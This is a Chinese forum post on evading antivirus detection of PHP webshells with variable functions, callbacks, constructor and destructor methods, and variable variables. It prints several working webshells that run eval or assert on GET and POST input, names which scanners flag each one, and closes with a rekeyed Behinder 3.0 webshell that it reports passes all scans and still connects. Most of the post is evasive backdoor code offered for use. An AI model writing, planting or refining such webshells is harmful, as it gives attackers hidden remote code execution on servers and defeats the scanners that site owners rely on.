-
-
[原创]webshell免杀之函数与变量玩法
-
发表于: 2022-11-4 15:50 9963
-
webshell免杀之函数与变量玩法
前言
前文列举了一些用符号免杀的例子,此篇文章就以函数和变量来尝试下免杀。
本文以PHP为例,用PHP中函数和变量及语法特性,在不隐藏函数关键字情况下进行免杀。
动态函数
PHP中支持一个功能叫 variable function ,变量函数的意思。
例:$a='system'; $a('dir'); //最终是system('dir');
当一个变量后边带括号,那他就被视作一个函数。编译器会解析出变量的值(假设值为符串system),然后会去找当前是否存在名为“system()”的函数并执行它。
注:eval 、echo、print 等看似是函数但并非函数,而是语言构造器(语言结构),不支持该用法
动态函数利用时就可以达到隐藏危险函数关键字特征的目的,我可以对函数关键字进行拆分,编码,然后拼接还原,再利用动态函数特性执行。
1 | 例:$_GET[‘func’]($_REQUEST[‘ pass ’]); / / 这就是动态函数webshell |
这里就不给实例了,很多免杀案例中都用到了这个特性。也是被疯狂查杀的特征。
回调函数
回调函数,简单来说就是一个函数不是由我直接调用,而是通过另一个函数去调用它。
这种方法很简单,php中回调函数有很多个,但大多已经被标记
经过测试找到一个目前还能免杀的:
1 2 | <?php forward_static_call_array( 'assert' ,array($_GET[ 'x' ])); ?> |
D盾:1级forward_static_call_array
如果尝试对回调函数 进行字符特征隐藏,再用动态函数执行,反而提升2级
魔术方法
PHP中以两个下划线开头的函数,被称为魔术方法 是保留方法。
魔术方法是一种特殊的方法,当对对象执行某些操作时会覆盖 PHP 的默认操作。
魔术方法中有两个函数:
构造函数:创建对象时会自动调用此方法,初始化操作。
析构函数:对象的引用被全部删除或销毁时执行。析构函数不能有参数
1 2 3 4 5 6 7 8 9 10 11 12 | / / __destruct() 析构函数 ;__construct() 构造函数 <?php class me{ public $a = ''; function __destruct(){ eval ( "$this->a" . ' ' ); } } $a = $_GET[ 'xxx' ]; $b = new me; $b - >a = $a; ?> |
D盾3级 可疑;安全狗 护卫神 免杀
上面用析构函数D盾会检测到,当尝试改特征时发现,不用析构函数就能够免杀。
果然,高端的免杀往往只需要最朴素的方式
1 2 3 4 5 6 7 8 9 10 11 12 | <?php class mexx{ public $a = ''; function mexx(){ eval ( "$this->a" . '; ' ); } } $a = $_GET[ 'xxx' ]; $b = new mexx; $b - >a = $a; echo $b - >mexx(); ?> |
全过。
可变变量
PHP还支持一种语法:可变变量,可以把一个变量的值作为另一个变量的变量名。
例如:
变量a的值是‘c’; 变量c的值是‘ccc’,当使用两个 变量符号时 \$\$a 这就是一个可变变量,就不是\$a 而是\$c。
为什么会是$c ?
在编程中,代码执行时整体是从上到下,从左到右,但是赋值语句,则是从右到左。
测试来看可变变量是从右往左的
1 2 3 4 5 | $a = 'c' ; $c = 'flag' ; echo $a; / / 结果 c echo $$a; / / 结果 flag / / $$a 解析从右往左找到第一个变量符号 把$a解析,得到$c |
这里利用可变变量进行免杀
1 2 3 4 5 6 | <?php $c = ‘ 1 ’; / / 删掉此句 安全狗免杀; $a = 'c' ; $$a = $_POST[‘x’]; / / $c assert ($c); / / d盾特征 ?> |
变量c需要给一个值,不能空值,否侧d盾检测到变量未知内容,会报4级
D盾1级,其他免杀
这里有个想法,可变变量能支持多少层哪,只能变一次还是能多次。
1 2 3 4 5 6 7 | $a = 'c' ; $c = 'flag' ; $flag = '123' ; echo $$a; / / 结果 flag echo $$$a; / / 结果 123 echo "$$a" ; / / 结果 $c echo "{$$$a}" ; / / 结果 123 |
最终发现可变变量是支持多层的,但在双引号中不支持可变变量,需要用花括号来包裹声明。
改造冰蝎
了解了前面的方法,那就尝试对冰蝎的脚本改造一下。
先来看冰蝎3.0的默认脚本,查杀一下
经过用D盾尝试,发现file_get_contents,openssl 等关键字都会被检测为木马,最终在不动eval关键字情况下,修改如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | <?php @error_reporting ( 0 ); session_start(); $key = "e45e329feb5d925b" ; $_SESSION[ 'k' ] = $key; session_write_close(); $aaa = 'file_get_contents' ; $bbb = 'openssl' ; $post = $aaa( "php://input" ); if (!extension_loaded($bbb)) { $t = "base64_" . "decode" ; $post = $t($post.""); for ($i = 0 ;$i<strlen($post);$i + + ) { $post[$i] = $post[$i]^$key[$i + 1 & 15 ]; } } else { $post = openssl_decrypt($post, "AES128" , $key); } $arr = explode( '|' ,$post); $func = $arr[ 0 ]; $params = $arr[ 1 ]; class mexx{ public $a = ''; function mexx(){ eval ( "$this->a" .''); } } $b = new mexx(); $b - >a = $params; echo $b - >mexx(); ?> |
原本的类中是用了魔术方法将对象当函数执行,用回调函数去调用。
这里改为常规的方式调用,将被查杀file_get_contents关键字用改成变量函数调用
本地查杀:安全狗护卫神免杀,D盾(1级|可疑)
在线查杀效果
只有报了一个,我推断是检测到eval关键字才告警,遂换成echo函数试试是否免杀
结果还是被查杀,看来检测的特征不是在这里。
经过不断尝试,想到密钥 key的值是默认的e45e329feb5d925b,会不会是它。
把key改掉,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | <?php @error_reporting ( 0 ); session_start(); $key = "47bce5c74f589f48" ; / / aaa $_SESSION[ 'k' ] = $key; session_write_close(); $aaa = 'file_get_contents' ; $bbb = 'openssl' ; $post = $aaa( "php://input" ); if (!extension_loaded($bbb)) { $t = "base64_" . "decode" ; $post = $t($post.""); for ($i = 0 ;$i<strlen($post);$i + + ) { $post[$i] = $post[$i]^$key[$i + 1 & 15 ]; } } else { $post = openssl_decrypt($post, "AES128" , $key); } $arr = explode( '|' ,$post); $func = $arr[ 0 ]; $params = $arr[ 1 ]; class mexx{ public $a = ''; function mexx(){ eval ( "$this->a" .''); } } $b = new mexx(); $b - >a = $params; echo $b - >mexx(); ?> |
查杀结果
脚本正常连接
总结
从上述案例能看出来,想要免杀很简单,不需要花里胡哨的操作,只需要改变下结构或函数,不需要变形编码关键字也能实现免杀